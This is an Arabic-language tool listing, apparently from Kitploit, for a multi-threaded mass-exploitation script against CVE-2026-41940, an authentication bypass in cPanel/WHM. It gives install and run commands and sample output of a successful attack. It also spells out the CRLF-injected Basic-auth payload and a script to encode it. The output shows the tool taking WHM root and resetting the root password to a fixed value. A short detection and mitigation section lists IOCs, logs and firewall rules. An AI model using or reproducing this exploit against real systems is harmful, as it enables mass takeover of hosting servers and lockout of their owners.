CVE-2026-41940 — ماسح ضخم وأداة استغلال جماعي لـ CVE-2026-41940 على cPanel/WHM، مصمم للتحقق الآلي من الأهداف وتنفيذ عالي السرعة متعدد الخيوط. | Kitploit

# استنساخ المستودع
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# تثبيت التبعيات
pip install -r requirements.txt

# جعل الملف قابل للتنفيذ (لينكس/ماك)
chmod +x CVE-2026-41940.py

# استخدام 5 خيوط متزامنة
python2 CVE-2026-41940.py targets.txt --threads 5

# استخدام 20 خيط للفحص الأسرع
python2 CVE-2026-41940.py targets.txt --threads 20

الوسيطة	الوصف	القيمة الافتراضية	مطلوبة
`list_file`	ملف يحتوي على قائمة الأهداف (واحد لكل سطر)	-	✅ نعم
`--threads`	عدد الخيوط المتزامنة	15	❌ لا
`--hostname`	تجاوز رأس Host لجميع الأهداف	اكتشاف تلقائي	❌ لا
`--timeout`	مهلة الاتصال بالثواني	15	❌ لا

$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

إرسال طلب GET مع رأس Authorization: Basic يحتوي على حمولة ضارة

الحمولة المشفرة Base64 تعني:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

تقوم أحرف CRLF (\r\n) بحقن معاملات جلسة مزيفة
يخدع هذا الخادم ليعتقد أن المصادقة نجحت
يستجيب الخادم بـ HTTP 307 ورأس Location يحتوي على cp_security_token

المؤشر	الوصف
كوكي `whostmgrsession` شاذ	أنماط كوكي غير عادية دون مصادقة صحيحة
أحرف CRLF في الرؤوس	كشف تسلسل `\r\n` في رؤوس HTTP
الوصول إلى `/scripts2/listaccts`	وصول غير مصرح به إلى هذا المسار
كلمة المرور `Jenderal92`	تسجيل دخول ناجح باستخدام كلمة المرور هذه تحديداً
تسريب رمز `cpsess`	رمز أمان مرئي في رأس Location
فشل تسجيل الدخول يتبعه نجاح	POST إلى `/login/?login_only=1` بكلمة مرور خاطئة، ثم وصول مميز

# سجل وصول WHM
/usr/local/cpanel/logs/access_log

# سجل أخطاء cPanel
/usr/local/cpanel/logs/error_log

# سجل المصادقة
/var/log/secure

# رسائل النظام
/var/log/messages

تحديث WHM/cPanel إلى أحدث إصدار مصحح فوراً
```
/usr/local/cpanel/scripts/upcp
```
تفعيل المصادقة الثنائية (2FA) لجميع الحسابات، خاصة الجذر
```
WHM → Security Center → Two-Factor Authentication
```
تقييد الوصول إلى WHM باستخدام القائمة البيضاء للـ IP
```
WHM → Security Center → Host Access Control
```
مراقبة سجلات الوصول بانتظام للأنماط المشبوهة
```
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
```
تغيير جميع كلمات المرور إذا كان هناك اشتباه بالاختراق

استخدام قواعد جدار الحماية لتقييد الوصول إلى المنفذ 2087

# السماح فقط للـ IPs الموثوقة
iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP

# أو استخدام جدار الحماية CSF/LFD
csf -a YOUR_TRUSTED_IP

تنفيذ قواعد WAF لكشف محاولات حقن CRLF
مراجعات أمنية دورية لتثبيتات WHM/cPanel

# targets.txt يمكن أن يحتوي على تنسيقات متنوعة:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# سيتم تطبيع الجميع تلقائياً
python2 CVE-2026-41940.py targets.txt --threads 15

# التحقق من إصدار Python
python2 --version  # يجب أن يظهر Python 2.7.x

# التشغيل باستخدام python2 صراحةً
python2 CVE-2026-41940.py targets.txt

# لأهداف كثيرة مع اتصال جيد
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# للاتصالات غير الموثوقة
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

import base64

# حمولة مخصصة
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

✅ الاستغلال الجماعي	مسح واستغلال أهداف متعددة من ملف قائمة
🚀 تعدد الخيوط	عدد خيوط قابل للتكوين لفحص أسرع (الافتراضي: 15)
🔐 تغيير كلمة المرور تلقائياً	تغيير كلمة مرور الجذر إلى `Jenderal92` عند نجاح الاستغلال
🛡️ كشف ذكي للنجاح	كشف تلقائي لتنسيقات استجابة WHM API المتنوعة
⚠️ تصفية أخطاء الترخيص	استبعاد الأهداف ذات أخطاء الترخيص غير الصالحة/غير القابلة للقراءة
📝 مخرجات منظمة	حفظ النجاحات المؤكدة فقط بتنسيق `domain:port\|user\|pass`
🛡️ دعم SSL/TLS	التعامل مع الشهادات الذاتية التوقيع تلقائياً
🔄 إدارة الجلسات	استخراج الجلسات تلقائياً، حقن الكوكيز، ومعالجة الرموز المميزة
⏱️ التحكم في المهلة	مهلة اتصال قابلة للتكوين (الافتراضي: 15 ثانية)
🔍 فحص ما قبل الاتصال	التحقق من توفر المنفذ قبل محاولة الاستغلال
📊 تقدم فوري	عرض تفاصيل التقدم لكل مرحلة استغلال

CVE-2026-41940

الأكثر شعبية

CVE-2026-41940 - استغلال جماعي لتجاوز المصادقة في WHM/cPanel

📋 الوصف

🎯 الميزات الرئيسية

📦 المتطلبات

📥 التثبيت

🚀 الاستخدام

1. إعداد ملف الأهداف

2. تشغيل الأداة

الاستخدام الأساسي (الإعدادات الافتراضية)

الاستخدام متعدد الخيوط

اسم مضيف مخصص

مهلة مخصصة

📊 وسائط سطر الأوامر

📁 تنسيق المخرجات

ملف النتائج (res.txt)

السيناريوهات المستبعدة

مخرجات وحدة التحكم

🔬 كيف يعمل الاستغلال

المرحلة 1: جلسة ما قبل المصادقة

المرحلة 2: هجوم حقن CRLF

المرحلة 3: نشر الجلسة

المرحلة 4: التحقق وتغيير كلمة المرور

التصفية التلقائية

🛡️ الكشف والتخفيف

مؤشرات الاختراق (IOCs)

السجلات التي يجب مراقبتها

خطوات التخفيف

📝 أمثلة استخدام في سيناريوهات مختلفة

السيناريو 1: اختبار هدف واحد

السيناريو 2: تدقيق خوادم متعددة

السيناريو 3: شبكة بطيئة/مسافات طويلة

السيناريو 4: اسم مضيف مخصص خلف وكيل/موازن تحميل

السيناريو 5: أهداف بمنافذ مختلطة

⚙️ استكشاف الأخطاء وإصلاحها

خطأ: "module 'urllib' has no attribute 'urlsplit'"

خطأ: "Connection refused - target unreachable"

خطأ: "/login didn't issue a whostmgrsession cookie"

أداء فحص بطيء

أخطاء الترخيص في المخرجات

🔧 تكوين متقدم

تعديل الحمولة المخصصة

كلمة مرور مخصصة

تعديل كشف النجاح

🤝 المساهمة

إرشادات التطوير

⭐ تاريخ النجوم

❗ الأسئلة الشائعة

📌 ملاحظات مهمة

⚠️ إخلاء المسؤولية

ملف النتائج (`res.txt`)